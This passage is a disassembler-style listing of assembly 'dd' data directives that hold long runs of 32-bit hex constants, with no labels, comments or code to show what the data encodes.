		dd 5C94C1h, 0FA35A957h,	70648C69h, 47FDE400h, 0AC30B891h
		dd 80330015h, 19C2DD4Ah, 41008FE6h, 29FBD69Dh, 53593h
		dd 0F933D053h, 0A5146A98h, 9232100h, 0CB229455h, 5EA31367h
		dd 35A40015h, 0E21445B9h, 8037174h, 0B567C549h,	0BD36D054h
		dd 80870011h, 79B6411Ah, 5E00BC45h, 19213170h, 4C955Dh
		dd 947597B4h, 1B9AD514h, 828360C0h, 1E41898h, 3BE32D69h
		dd 0D0FBDB55h, 0CA001497h, 1A0BAD83h, 3CB6F081h, 5316F7E3h
		dd 0F0C41FB8h, 40682240h, 0DE28C50Eh, 77801EF5h, 0C25084A9h
		dd 22820087h, 2EF93ED6h, 20C4F427h, 9A06C66Bh, 757840C9h
		dd 152FF00Ch, 6B106Fh, 124F428Ah, 94ECA4B0h, 69E86E77h
		dd 0B4431C0h, 0E29BD28h, 0F68DDF2Ah, 0A360E00h,	3D0668BEh
		dd 5065E499h, 2CE552F0h, 844B701h, 0CA53E94h, 0D9DF40D8h
		dd 0DC0043F6h, 2413BA3Ah, 0E4BE21Ah, 4D25F144h,	75CA5D20h
		dd 2102C86Bh, 0BD191BA2h, 0EBD4A03Bh, 3B2A9041h, 0E9515BB7h
		dd 734EC420h, 0F5D40F5Dh, 448E0BBCh, 0E2345820h, 0BF009837h
		dd 0CA5F0D7Eh, 1D77B5h,	0B80336DBh, 196F9F46h, 0AC955300h
		dd 5C3EA1E7h, 322E008Eh
		dd 0BDB914FAh, 2A005A4Eh, 42AAD32Ch, 49FBA5h, 4A56EA75h
		dd 410ABB7Bh, 0BB3DC32Eh, 0E42C6000h, 0C28BF7h,	0A6CBE7BCh
		dd 0A4781CECh, 0C00F96F2h, 4072DEB0h, 43F5A5B4h, 0F9E70F98h
		dd 9500930Ah, 9F76DF1Ch, 0E4F0DA12h, 618F1700h,	0F743E3Ch
		dd 0DFF2194Ah, 0DE23D640h, 8AE29F2Dh, 7F780C00h, 0A7F64568h
		dd 0B0350130h, 0A2DE02B7h, 0AE76C005h, 21C793E8h, 44303A27h
		dd 1C7847h, 0B459ED7Ch,	0F1D49479h, 450050FAh, 0F86FD11Dh
		dd 2D73DECAh, 525EE8A4h, 1701D71Eh, 3C9C7521h, 8D30EDDh
		dd 64352D80h, 84B06640h, 550521E5h, 860E6C91h, 5625AB5Fh
		dd 20888773h, 0BC0276A3h, 0D5091500h, 9C673903h, 6031D850h
		dd 70A87EE4h, 8B08B069h, 68AE3DE5h, 8E230E40h, 0C8EEDC60h
		dd 4B01B58Ah, 0CD9C3C5Eh, 0A04073A4h, 7C8C6AABh, 5030C081h
		dd 283B4165h, 0AA77C001h, 0AC27B8CAh, 36A26D0h,	887F505Eh
		dd 2AB0A672h, 2300BA40h, 0A835F8E3h, 269C5DCh, 6C1BD53Fh
		dd 0C8A0C984h, 0FEF74A50h, 0CB544D00h, 0D0554329h, 7A6F0007h
		dd 27B79899h, 21001F1Ah, 0E0DDBF76h, 1DC4CAh, 0A9699109h
		dd 0A22EE83Ch, 0B1723600h, 80864E9Eh, 0E0E4F122h, 8C7D6Dh
		dd 903099D5h, 1B677877h, 49FCA0Bh, 0CC3F8010h, 14209CEFh
		dd 8662DCC5h, 50B38400h, 3118AD3Ch, 71004E72h, 0AF35B432h
		dd 39499640h, 0CE002FF9h, 0C051FDAEh, 0BD00CB06h, 0BB8F4794h
		dd 267965h, 1F8CAC81h, 15A7D4Eh, 0FB303Dh, 0D9D0BF9Fh
		dd 9D23A51h, 86DFC81Dh,	7C78A380h, 4500CA16h, 8FF67694h
		dd 48C612h, 0BEDE6B3Bh,	0B085F9D3h, 4D79EB00h, 0F50B0D4Bh
		dd 0C6F31CD2h, 57CE875Ah, 93406C4Fh, 0E7833F0Fh, 0E220C356h
		dd 957599DFh, 73AC1530h, 504903B6h, 4E3D5E94h, 6FC657F8h
		dd 0D4005C72h, 13F35C5h, 0DC0E3Ch, 0B25DE8CDh, 7A2D2426h
		dd 71FE8E1Dh, 0F04BCCC0h, 7F6C7F7h, 68DCCF32h, 0EB1F00DEh
		dd 0EAF2D365h, 7397E109h, 0A40A0110h, 0E0CF66BDh, 79DCADDh
		dd 0FB3A8B36h, 306BE35Bh, 1BEFB900h, 0FF95550Dh, 41F40057h
		dd 5E40B7F3h, 0EA38DEE1h, 54148F59h, 20A38F9Ah,	0C5DAE33Ah
		dd 20933074h, 8B5D238h,	8E0C5600h, 0E938C651h, 98530088h
		dd 0B8BB229Ah, 4CE04602h, 0C00093F8h, 0ED2BCB20h, 98046B41h
		dd 0E45B012Eh, 9AEF3EAAh, 2D0881A3h, 0A46B50C0h, 0EB10C8h
		dd 7B1B4F13h, 0C9F42A7Ch, 529C9101h, 74FBF74Eh,	85616983h
		dd 0C030C0DCh, 579940E7h, 428B017Dh, 26B5FB1Ch,	6B3FF4DCh
		dd 0C020E46Fh, 68F70E6h, 1C1781Ah, 457E54CBh, 0EDE4E8AAh
		dd 410998DEh, 2B5058h, 87012CCCh, 108A79A8h, 0F6DA0A00h
		dd 504A8505h, 0CEDC00E9h, 0BB2925ECh, 0F03E7640h, 0CF30FCC8h
		dd 13DDEEF6h, 35560055h, 24083F37h, 2C7E42EFh, 3D0E99F6h
		dd 4095D46Ah, 0AC73F12Fh, 17A976BAh, 0EB869A8Ch, 0C83A2307h
		dd 24F73FD0h, 67CDAh, 1283BC19h, 46D28772h, 0A0534B0Fh
		dd 3EAB4084h, 77B00Ch, 9511FC1Bh, 6CD3505Ch, 0B87C603h
		dd 0D8C79745h, 77F855Ah, 0A8057CC5h, 9DB4F0CCh,	6306BB5Bh
		dd 4496645h, 94ED00DAh,	254895F2h, 0CD002A0Bh, 16020384h
		dd 0BAADD9h, 55C49C43h,	3E367797h, 8B69CD00h, 9B963412h
		dd 0D3910F66h, 4822ED4h, 0E8F4D9CCh, 0D646DA00h, 0F7155A4h
		dd 34530185h, 30E0586Fh, 5B51F2CCh, 0EFECB500h,	0FADE033Ch
		dd 83081C23h, 913F00EDh, 1886733h, 3E9BE00h, 526B4D3Bh
		dd 34440C46h, 83191A13h, 611143Eh, 87774233h, 36683979h
		dd 184CC83h, 73D08BA0h,	343DA2E1h, 0DBE980E4h, 0B1F64238h
		dd 513B00A5h, 6074A1B5h, 4930BF7Eh, 0DA68B079h,	0FA19CF8Dh
		dd 0FC9B485h, 71236D8Ch, 8C8883Dh, 60F476B7h, 0AE1EEB3Eh
		dd 48001BB5h, 0DD373BE2h, 0FA111CEFh, 8B1D4032h, 2CEEF208h
		dd 4FC51B03h, 0C0C6D1B7h, 0F0CCB97h, 99AC8EEFh,	0F2A5E000h
		dd 0A8019AC8h, 438942F5h, 10E0BB87h, 36AEEA6h, 0E7014003h
		dd 8FB02E95h, 0F7031CC9h, 361BFFEFh, 0DBF6D07Ch, 60DC03F2h
		dd 80F850B0h, 0C163CAB0h, 4B24D860h, 0A5C086h, 9AF6ED46h
		dd 0E28D1501h, 62D24700h, 0C86C460h, 0E020E15Eh, 0F494002Dh
		dd 5CED890Eh, 11003C09h, 7782FDB3h, 3EA0F0h, 8E5B7E1Ch
		dd 4925332Bh, 2FAC2901h, 0D9835908h, 0EC766430h, 4A9100B8h
		dd 0FF701951h, 400E65Bh, 776CBF0Ah, 0E3918D0h, 0A2F28A6Dh
		dd 17CBF8C0h, 9B1D971Fh, 0CD56E058h, 0A5922800h, 7E1EC7ABh
		dd 0C3F1148Bh, 3500B010h, 13C0ED18h, 9C00360Ah,	3E6E530Eh
		dd 15005C8h, 9E010BE6h,	0DF133A9Dh, 3822921h, 4FFF5B4Eh
		dd 1161C7E9h, 0FE11E4D5h, 626D11A5h, 105B4311h,	80CB57C8h
		dd 0F088AFEAh, 9FA4404Dh, 44FC6044h, 0A2444659h, 51E765BDh
		dd 653C02DBh, 0D205C9FCh, 2C845006h, 88577651h,	0A1C2385Bh
		dd 307F10Eh, 29087C24h,	89DFED3h, 0BA8836DAh, 146B00F0h
		dd 0B0C1A89Fh, 0D856E300h, 0B2BC73D1h, 23D50230h, 523DD3EBh
		dd 0CD1BA980h, 9D0064BEh, 678FF8C0h, 0B1B7FBh, 8DB9A441h
		dd 0A6876327h, 119AD101h, 0E94044EFh, 0A7DF4h, 0DF1F12C4h
		dd 0C14E328Bh, 6D158C00h, 0ABAF2EDAh, 2C9A01E6h, 56C05A81h
		dd 0D8F0E7F4h, 9300F796h, 0B6EBF929h, 9A09D9h, 0CACF9E5Eh
		dd 0A604FDB0h, 335C8601h, 0ED52B9DAh, 79062FC8h, 28D00038h
		dd 0E55DC047h, 57B89F11h, 5A67140Eh, 8DEFC0E3h,	651746h
		dd 791CEEA1h, 0D2D0B70h, 0F000FCE0h, 0B86716FBh, 75F76DB0h
		dd 6FA86h, 2E119978h, 0B5D1F2F1h, 6B689D2Ch, 651C3417h
		dd 8E055B41h, 3FFC84E8h, 157F00DCh, 803BC0A0h, 0BA007D23h
		dd 3C2D85D3h, 444FC8h, 3049B857h, 0AFD5316Bh, 0E4E3AA00h
		dd 434CA905h, 9E040102h, 31550E94h, 0BDB4E46Bh,	46D3F100h
		dd 95128014h, 0EF65092Dh, 6F8013CCh, 0C0236457h, 0F6CDA01h
		dd 203BD398h, 0F4F2CE4h, 0FDE239E9h, 96B20680h,	86009F6Dh
		dd 2D5156CDh, 2DD20h, 6FFAB1FBh, 493DA967h, 36535F0Eh
		dd 0D1140Ch, 6974873h, 30125DDh, 964A9DB3h, 38F8BBC5h
		dd 6476D958h, 36F97D00h, 60ACB543h, 4E452E74h, 0C5803D7Dh
		dd 0D9A42851h, 0EA07191Ch, 0DBBD5E55h, 0E8111DC0h, 90C14C1Eh
		dd 36C6DE00h, 0E320DA2Dh, 8DC84800h, 2FE310Fh, 79DC138Eh
		dd 0F872009Fh, 58427E38h, 0AF00B878h, 51BC9BFCh, 88E5E1h
		dd 0A6E8E5Fh, 57936AD6h, 0A6CC0500h, 374AC3F9h,	7FE600FBh
		dd 55E917B2h, 0DEA08146h, 790ED25Eh, 0ADAA3h, 43CB720h
		dd 63DB0011h, 0A15BD18Ch, 9C00A53Ah, 0C5EF6CFDh, 77D24BE0h
		dd 993600F9h, 81297FAh,	0CD1E514Dh, 674024EAh, 22716139h
		dd 80C60C78h, 879CA03Ah, 64E16A00h, 0F08B715h, 1D2D0016h
		dd 0BBAF17ADh, 9E04910Dh, 406ACE57h, 0A8996C83h, 7031261Ch
		dd 1FF6AFh, 46708751h, 2A7765EFh, 27833F00h, 3112E09Fh
		dd 6B7900F8h, 1107A539h, 7B0F744Bh, 80A4AEE2h, 0DFAC882Eh
		dd 0FB9E0712h, 4F964437h, 0A09263E3h, 0F7267FD8h, 74242C1Eh
		dd 88D41EC2h, 0CADD408Fh, 0AAA80099h, 7A81CFDBh, 0F839D6B9h
		dd 67A0000Fh, 3A6EB82Fh, 70EC003Fh, 768CBDC9h, 1471ACAEh
		dd 4C01758h, 0C195E54h,	6A829880h, 4CF60755h, 0B0FABF96h
		dd 0AEA2F03Dh, 3A445000h, 76957DC1h, 839F1E94h,	0F3ED0018h
		dd 8CB89078h, 0CBD69200h, 63254745h, 0AB7B07BBh, 67F34EC4h
		dd 36EDE055h, 5000D132h
		dd 9DB76D0Fh, 0AD47D9h,	4424F312h, 1B8209CFh, 96A1E200h
		dd 0FA989E11h, 53A6011Ch, 12B36EDDh, 0AB04C89Bh, 3C883600h
		dd 1AD9E6D3h, 116403A0h, 0A64DC4D8h, 0BCC262F8h, 0D7123C00h
		dd 893A0D6Ah, 0FA420004h, 5D29EA06h, 0C71EB1CCh, 0E94025CAh
		dd 0D71A4D26h, 0C4A448A0h, 13037017h, 9C7801E4h, 0CE5DF9ECh
		dd 0E4C81141h, 0C3003291h, 36FC9E34h, 566713h, 3B471B31h
		dd 0C7540D8Bh, 7D96D00h, 5F265508h, 0FE702Ah, 164C7D72h
		dd 0A75AA63Fh, 9642DB00h, 0B4C45CE2h, 31AF008Bh, 88C1D4E8h
		dd 0BD759BFFh, 98044A00h, 4B410E0Dh, 471A0135h,	5D0B2716h
		dd 0DBA8ECF0h, 0AF00CA75h, 1DEF3E99h, 0FE087153h, 0E02C00C8h
		dd 382337F2h, 870054BAh, 8966B8CEh, 7F6E975Fh, 6A700BFh
		dd 0CD81F1A0h, 78001F34h, 0FA4BE616h, 1CABC25Ch, 0C12C7635h
		dd 3DB9E829h, 0E880E28Dh, 36F7A40Dh, 6003AC7Eh,	98B8EC62h
		dd 0BC39C890h, 69300C9h, 68A50766h, 500F30Dh, 453BFF87h
		dd 0FAF42Ch, 2BCDE78h, 66E0900Fh, 3A00CB74h, 0D170F29Ah
		dd 3C3873E9h, 9E00996Ah, 0CB1B88Bh, 9B3A02CAh, 331D0091h
		dd 29C83593h, 63F575F8h, 37AEF0CBh, 1EDB36D8h, 9E89D000h
		dd 0BFE83273h, 0A1C50026h, 0C30EDAA6h, 0F7046847h, 46FE4A4Fh
		dd 39121280h, 0F6F5008Eh, 0C09672F9h, 0E901C8B6h, 9E810E34h
		dd 0D7D8FF29h, 5BC20095h, 9D66D86Bh, 77B86C89h,	15CC6D00h
		dd 0C6620937h, 9E1B1EB6h, 349A4FF8h, 2281B9C3h,	9B6BCDC8h
		dd 1B089300h, 0C3B80B63h, 1D5E006Ch, 0F6D807C0h, 0BD004273h
		dd 0A3FF7F92h, 8D1B38h,	82E7A405h, 2021D50Ah, 1DC4541Fh
		dd 62165240h, 32C3F5Ah,	0C8705B2Eh, 0BFB84206h,	76008095h
		dd 6C50368Bh, 20F21Eh, 9BBBE4A0h, 0EE4CB42Eh, 0F41CEAFEh
		dd 70C734B1h, 0DFC38EC6h, 8A99889Fh, 690F0056h,	83E1E6D6h
		dd 1500F2B3h, 9C4591Ah,	7DA3D790h, 0AC23000Eh, 0E729C580h
		dd 4B0E9892h, 0E068EF2Ch, 0E08C0D09h, 2DB9079Ah, 0E0C7C95Ch
		dd 0EB418498h, 0F0B6A500h, 86475106h, 45B407ECh, 796D4BAFh
		dd 0FC1D6A02h, 0F872B7C1h, 35240B73h, 0CF002510h, 0AED793B8h
		dd 42A70452h, 801D137Dh, 0ECA60548h, 88998401h,	0C3495D33h
		dd 1328B8D7h, 78FB00CEh, 8AB92B70h, 0D3056BFCh,	4B9F9C26h
		dd 4853A380h, 0DF190EBBh, 0CD477F43h, 7D10705Dh, 7400D780h
		dd 73F883EEh, 6BAA0h, 19B22505h, 894DA723h, 0AE08F000h
		dd 1322508Ah, 0CE4228BFh, 0B8753DF4h, 87847C00h, 0B92ABB4Fh
		dd 44AFB400h, 0EA99FC29h, 976F002Dh, 68AEBD75h,	0D8000F5Eh
		dd 364AB78Bh, 1FA65574h, 0C0352B9Eh, 9B56B9ABh,	6D0F2DBBh
		dd 0D38398E5h, 25937C30h, 8D1600D2h, 0E6596B36h, 0B500BAFBh
		dd 55DC44Ch, 0E10B80h, 0B17D3C42h, 0EE9D2AC8h, 0E710607h
		dd 3E90AA48h, 35EAD6Dh,	0E6E9E372h, 2FC0C49Fh, 0E41C269Ch
		dd 0D000A67Ah, 0B20FE107h, 57F700D2h, 5297DEC5h, 6639DB6Ch
		dd 0C42B0268h, 80497876h, 3581B096h, 345C0A80h,	0D477C2h
		dd 0F68E6EADh, 0D5E075C0h, 0B06DF201h, 853FA8A9h, 0E20C0BFCh
		dd 0AB260061h, 0DE15338Bh, 3674B3DFh, 0C24B5405h, 0F1C05341h
		dd 7B8DE751h, 6BF9000Bh, 0C3EF079Eh, 0D771659Ch, 0B36D7F00h
		dd 5823372h, 7CD40040h,	1BECAFABh, 4400BAE4h, 0F6C10D66h
		dd 0A020E80Ah, 0DC96AFh, 774B937Ch, 0E7EB5A64h,	0A604D400h
		dd 0A20F169Ch, 8D4E0038h, 339A1CECh, 4838453Dh,	0BEF30043h
		dd 94DAE897h, 0F5B33F79h, 8F5DC980h, 0D067188Dh, 91F6AA13h
		dd 0EE43DB00h, 246901h,	0F542D330h, 1B99144Fh, 0D2B4F200h
		dd 0D51AAE31h, 9CB90E7Ch, 1640309Eh, 7471A336h,	8D578800h
		dd 3B0F5345h, 0BAE000F7h, 0B5581702h, 0CA00D3A7h, 8A5B6541h
		dd 6D4852h, 2DF0C150h, 75BF99C6h, 53B74000h, 6B108DD5h
		dd 55B0C3F1h, 0E8B8EA02h, 0DF0051C2h, 64BE3049h, 4CC43Bh
		dd 0F95B34D0h, 4F45CEF8h, 0A7D85400h, 0AF7B292Fh, 2D0500B4h
		dd 0CE6A3B10h, 750094E4h, 180882CCh, 21E4553h, 21EBB958h
		dd 0B6E0D978h, 100EFE5h, 7A1386B7h, 177DA22h, 1A47BBFBh
		dd 0E439A05Fh, 6B00013Eh, 0C3C60936h, 0E39656h,	3E57367h
		dd 2EEFE6E1h, 1209A2FCh, 5D7932FCh, 28B25E81h, 5324E00Dh
		dd 361EC600h, 0FFDC0F1h, 87410031h, 10604A3Dh, 69005CE3h
		dd 94EBBDA0h, 2859DF15h, 7F08F3Eh, 0CFD53155h, 0F713E75Bh
		dd 0EA708003h, 0BA005E91h, 0AE75DA58h, 41FADh, 82406F4Ch
		dd 0AA0AA569h, 77005EFEh, 0C9E72516h, 1D66E401h, 0C0939D91h
		dd 7427E294h, 0C50081F3h, 20A280B3h, 4E0619h, 6C8EA504h
		dd 28746FA9h, 3130B100h, 0ADCDE6C1h, 5D8C00E0h,	0BFD24207h
		dd 1300A6D3h, 8F97AF87h, 30FEE8h, 80D61150h, 0E0CD40C7h
		dd 7FFBF409h, 0A034004Fh, 25A637h, 0E57B8376h, 0C2A4779Bh
		dd 3A1E6400h, 0DECDB77Ch, 2C8FC80h, 862C6AC0h, 7CC0E0C4h
		dd 137E66BBh, 1BEED301h, 0E982AADDh, 0C318C0h, 0DBFD7125h
		dd 0E2C0B257h, 0E6BC051Eh, 93006C1Ch, 1225BD34h, 0AB480084h
		dd 41C59488h, 0DB01319Ch, 6113A0E4h, 7C2053A2h,	348B006Fh
		dd 0C285A5F1h, 0B10E7149h, 8781BED6h, 61704ED4h, 64B05Dh
		dd 856DFF99h, 9C5920DEh, 0E51A3307h, 43207846h,	732232h
		dd 14EE154h, 0CB587753h, 3C0F3DE0h, 40968306h, 0F479E091h
		dd 8C4180D8h, 0AA5A7E00h, 33C41699h, 3D4300A7h,	3A75B493h
		dd 3800512Dh, 0EB784DDAh, 3BD1BDh, 575D71C7h, 9211DCDFh
		dd 63A80D03h, 0A347F605h, 5333C8E2h, 4062FC69h,	8898772Eh
		dd 3DE12700h, 103BBFDFh, 8690A032h, 0E758148Dh,	5D008CA3h
		dd 277B4AF2h, 3338B651h, 0BAC9BEF9h, 0B26180B5h, 2B7E135Bh
		dd 83651C4Bh, 62AE003Dh, 4152B164h, 1820711Fh, 0F1AB80F8h
		dd 0D44B9ADBh, 985E04A7h, 0D810A3CBh, 23005A70h, 6B030489h
		dd 3EB7EE3h, 0BB100E02h, 6688F756h, 0D21E79B3h,	57CB9939h
		dd 0C2CE032Dh, 0A043901Bh, 311100D6h, 7A26C69h,	6100ED7Dh
		dd 16066A8Eh, 351ED9h, 0EBF0C7E9h, 3B4CF7E4h, 0B00E0700h
		dd 0D73133DEh, 0BA8C1E87h, 10724012h, 0E634F873h, 6BE1C31Ch
		dd 20DB80BAh, 4E622E55h, 1026169Dh, 0EC76039Ch,	6688EA04h
		dd 5900867Ah, 31E63E4h,	588F4F18h, 963D6B15h, 0B7002AD8h
		dd 692AECAAh, 0F0008567h, 5B0B3CD0h, 37A2F854h,	1A00439h
		dd 309D994Fh, 6C188840h, 3718EDDFh, 1A0C0312h, 78973B76h
		dd 0E05C53D1h, 0C002E49Fh, 3DA06CF7h, 562440E1h, 4C2E0198h
		dd 25821DF2h, 73FC48E3h, 0AF53902h, 0A044033Dh,	0C513CAF4h
		dd 22821751h, 69C900B9h, 0B2CBF517h, 0B1651607h, 30600AC4h
		dd 113C3BDh, 0D299407h,	0E0CB8AA0h, 970335ECh, 0DF1F0E7Eh
		dd 0C3C2B048h, 0B2C807F5h, 0C2103096h, 1C40046Eh, 6400D565h
		dd 1DABC02Dh, 1F6A022h,	312CC8Ch, 0DB967FB7h, 6A8305B8h
		dd 89001B73h, 0E87DC3AEh, 0D42450h, 0F40F43E1h,	25B6CFBEh
		dd 0EC6AF301h, 0DCDBBA2Dh, 117990EFh, 561C0043h, 0F6C30E51h
		dd 6C006A41h, 5E98EF53h, 7D07FAFCh, 0E62D09FDh,	0E9003F97h
		dd 6951D776h, 88535D00h, 0BD2E5250h, 0F22700BEh, 0D284D5D0h
		dd 0A900572Ch, 824C195Fh, 3BB79F38h, 2D03099Bh,	3070AC43h
		dd 0DDB27BA8h, 21F62200h, 503BA88Ch, 74794Bh, 94F5F789h
		dd 38E0DEF3h, 0B88FA07h, 69A00867h, 0EA2B8A3h, 3525BB8Dh
		dd 0C2CC2B05h, 0A9E04097h
		dd 95009078h, 9477B7A6h, 482650DDh, 0E3000CA2h,	61F7FCA8h
		dd 0AD00DF75h, 3F07732Ch, 128FE7E1h, 0E76FEE4h,	0ED0969C0h
		dd 3A28F420h, 0AE3A0937h, 0A20212A3h, 0D61A0400h, 7A2239h
		dd 67991368h, 0D59B8511h, 0D40D1C1Dh, 0D6B78040h, 5B1532Fh
		dd 90474F4Bh, 378E8013h, 0B5274AE2h, 0B7380068h, 9010235Dh
		dd 0F303097Dh, 808157A8h, 0D09C8D7Bh, 0C3B0729h, 0D0B89Fh
		dd 1A94835Fh, 77221FC4h, 0FB58003Ah, 0E27514A5h, 0C007A3F9h
		dd 9FDA99B6h, 8283B330h, 31590032h, 0A50DBA48h,	0DD0AB07Ah
		dd 0A435A41Fh, 0F487E301h, 4860E78Bh, 0BADB0188h, 60F99F0h
		dd 4023F556h, 7D7FE984h, 0B2BFE700h, 0ACF1FF77h, 1C13F8EDh
		dd 0ACCEC346h, 0C42D0218h, 0AC6040CDh, 900295E2h, 2A5BE8F8h
		dd 3274E0F1h, 4C387847h, 940B14D9h, 0E400B8DCh,	0CB6DB25Eh
		dd 182E3D00h, 6E6C0331h, 8C01391Bh, 5364A305h, 0ADF0805Fh
		dd 33079ECEh, 6DCF75A9h, 0A2DAC660h, 81E201BEh,	0F445EBEDh
		dd 0EFA4717Dh, 933EE480h, 330060E4h, 16AE40B4h,	940EDBh
		dd 67FB464Ch, 0DD2098C6h, 7EA9FF16h, 4FDA302h, 6D2440DFh
		dd 0D46400F0h, 8A1A9283h, 0AD057A5Ah, 0BF7DBD77h, 870C8F81h
		dd 0E6BE430h, 906DC1FFh, 0F0F56C23h, 0AC79E007h, 986075EEh
		dd 2892E5BCh, 0A8242Fh,	14B3DF74h, 48600DD3h, 0EEBF2B00h
		dd 0C3683E04h, 166F03C0h, 0AD12074Ch, 0BF7C63A0h, 2FE063Fh
		dd 0E555C817h, 1E77C0DBh, 0DB545140h, 0B0E2FF30h, 747D0031h
		dd 73AA8BF0h, 1C00DAF6h, 93446160h, 781D29CBh, 0ECB500DBh
		dd 6679C1D5h, 0E7C3008h, 8027653Fh, 4F5C9A5Bh, 0D27882h
		dd 448B4A9Bh, 0A2A094D9h, 8AE84703h, 88DCC6B9h,	7A9299Eh
		dd 0C9CE125Bh, 0DFD430BCh, 0F807397Bh, 88B152FFh, 8436C02Fh
		dd 77E3F6C1h, 11EC31h, 70D70EFDh, 2CF82BF9h, 50EF5807h
		dd 695E279Bh, 946C8089h, 70A6E5B6h, 756513DEh, 0DADC0040h
		dd 4C2637B4h, 0C7362F00h, 2CD1612Ah, 8D820274h,	94493D4Dh
		dd 0EA54A8C0h, 1D14E100h, 0EB5E73D1h, 1EB30012h, 0CC2C1FE0h
		dd 0A10090B1h, 884628E1h, 170C2965h, 0FA50FF6h,	0A20819Bh
		dd 9114E461h, 0DE41DD09h, 5E108073h, 2E485FD5h,	501486F5h
		dd 0CF74F707h, 6C5C44h,	69A0F4Eh, 2E361F3Bh, 40C2B901h
		dd 0A610CCC5h, 7348B4C4h, 0A08011Eh, 67DBAC2Fh,	0E54EFCDCh
		dd 1892C33Ah, 7C78748Bh, 11249029h, 0E038A77h, 807A75C2h
		dd 0D5CEBBA3h, 365700B3h, 2F9EB16Ch, 8100C4F1h,	0E5586E39h
		dd 4CF3F6E7h, 2009C8Ch,	0E2B053A7h, 2D002BAAh, 850CB4ACh
		dd 647974h, 1B921E88h, 533AD88Ah, 0D713897Fh, 0FC0036E5h
		dd 74C33DCCh, 0DCE8FB6Bh, 0FC2DFEFEh, 14BFAFDh,	0E48A7913h
		dd 30EF4E5Eh, 8903E26Eh, 53A5ACD2h, 1160E019h, 43BB00C9h
		dd 0A1C6B3EAh, 8B00B287h, 99A768D5h, 7F8915h, 52B53814h
		dd 22CBE2F2h, 7848h, 820DF12Eh,	7EDB3C5h, 0E08B6B0Ch, 9E0260D3h
		dd 520187D9h, 34795178h, 0D0D3CDC8h, 0A05E7797h, 0EAA7D8h
		dd 0DE10970h, 2B0F1481h, 13037AE8h, 4036B8E5h, 21FCB8FEh
		dd 0EA7C002Ch, 0C905317Fh, 9B0023E2h, 2A68E5B0h, 64C228h
		dd 15F191A2h, 7FF86786h, 0FE51C91Dh, 20AF1880h,	1781F07h
		dd 1BD3B059h, 2179CE97h, 0F3C06A28h, 718AB08h, 2A371383h
		dd 1421C0B2h, 4F74594Bh, 0C020D149h, 6F02F094h,	4D56016Bh
		dd 74800F38h, 0D817F1C9h, 2000E09Bh, 36142524h,	7FD7CEE6h
		dd 31FE13EBh, 1D020209h, 54C070D0h, 2200208Ch, 65AE8339h
		dd 0F87D98F9h, 0FBAC1FFDh, 4F400018h, 5EA81A87h, 25B8ED01h
		dd 541DAD68h, 4B2DE870h, 0D15000E1h, 51F3EBABh,	0CED38000h
		dd 0C6D912B9h, 408F0902h, 5800AA11h, 46DD2516h,	7E2ACE07h
		dd 63001352h, 1A6208h, 0F298D4CDh, 0C3B96B86h, 50E7FF00h
		dd 0EE201B3Eh, 328300F8h, 0B55477DBh, 6603896Ch, 0ECB7AD44h
		dd 0AB11A859h, 6560FCCh, 0E8809EDEh, 4FFD155Fh,	3904710Fh
		dd 0A97E0047h, 0EA81209h, 3D0D991Fh, 1FA013D3h,	3FA0703Eh
		dd 0D70B7424h, 0CB7E86h, 6FD2D6ECh, 1F75FDh, 97E37501h
		dd 0A07A14A2h, 8192D139h, 0C631B880h, 35CC374Fh, 25EB00A4h
		dd 0E2CCA1FDh, 14028BE4h, 8F343E8h, 63F0E3h, 25C133DDh
		dd 0FB0B305Eh, 0E056BA26h, 60A5C509h, 0BBCCFCh,	447C268Ah
		dd 74D64C37h, 8B009079h, 13667B28h, 0BC327Ah, 0E39BF7B4h
		dd 224D0CA1h, 6EFDEC00h, 1BBF60C2h, 94070306h, 0DF7952C5h
		dd 7A8D32F8h, 0F41EA300h, 59B3F905h, 6D741E48h,	0E00D40F7h
		dd 2FC16A97h, 0DD93B500h, 0BAEEFC04h, 29CF0039h, 76701195h
		dd 0D800F52Bh, 6EC34FB1h, 0FE6A2A3h, 7A3828C5h,	522103E0h
		dd 2000EA22h, 0CBCE0D63h, 3DDA61h, 459694F3h, 9F2DFDD1h
		dd 80DD4627h, 6419891Ch, 740F4ECh, 0C72CC17Eh, 2D9C7087h
		dd 920301F3h, 0A0C87593h, 4240F897h, 58D31CB4h,	2E26890Bh
		dd 578CE080h, 0AF409651h, 163F007Ah, 7B668F2Bh,	943E093Ah
		dd 4503AE1Bh, 0C3350700h, 184CCEA4h, 203D98DEh,	0FC1F480Ah
		dd 94E41AEFh, 117C042h,	0F42F291Ch, 38005314h, 0A88643B7h
		dd 0EAD156Ch, 2ECB8950h, 3A83E26Fh, 0BDB8C255h,	37098E9Bh
		dd 82CCA2A4h, 5A5C80D8h, 0FF901DCh, 760D75B0h, 72FD4028h
		dd 0C8798251h, 57DC7E05h, 0E2003EF5h, 17A31178h, 147918C4h
		dd 26721606h, 0ED0F6904h, 22804A2Eh, 56559D2h, 2B93D79Ah
		dd 0E0648328h, 82FE8798h, 3B0081B8h, 9DE163F7h,	5767D8h
		dd 30E0DAADh, 2B51D2C4h, 591B9700h, 7ADE330Ch, 2F3205A6h
		dd 0C0E030BDh, 89DC733Eh, 619BF002h, 407707ECh,	14AE98h
		dd 0C7F9B9EBh, 1E71E217h, 0D3442A00h, 892448F3h, 7067006Ch
		dd 0C6025008h, 0CB0F9F6Ah, 7FBD3AFDh, 0F9774180h, 74B25F60h
		dd 0A497008Eh, 36FD2F6Bh, 5B0F282Ch, 40E74149h,	4E988455h
		dd 0CC454893h, 407D3C1Fh, 9F3FE434h, 18595291h,	206A8FBCh
		dd 0CA9A06AAh, 1E0D275Ch, 33FC5880h, 4C07230Ah,	0C36D979Dh
		dd 993685D0h, 9BCF0E84h, 83E0FC90h, 32B9477Bh, 4ABF0500h
		dd 5B1E79FAh, 0F871006Fh, 851DF168h, 24006388h,	0E359902Ch
		dd 18B29F0h, 1171F7EDh,	8038983Ch, 0D75A43DCh, 1C53FA9Ch
		dd 4010C3EBh, 9268D26Ch, 4A2A9356h, 0F267E015h,	0AFF08254h
		dd 1B7605Bh, 93A9B622h,	30AB16B8h, 881F059Eh, 0B24051BBh
		dd 53F47ABDh, 1CF8007Bh, 0F9E8E7C5h, 820E8F85h,	0A0150E38h
		dd 0E0D47CB6h, 37AE39B5h, 0CD304100h, 0A9699334h, 208EEF00h
		dd 0CFA63A78h, 0FD7B1F08h, 0BF8900FCh, 87F0DD63h, 21A77300h
		dd 0E4F7C2E5h, 0DBD800C0h, 66C69213h, 362E8356h, 0B3003531h
		dd 6B907338h, 0CD01009Ah, 0FF2D3428h, 0CC0084ECh, 5589E7E1h
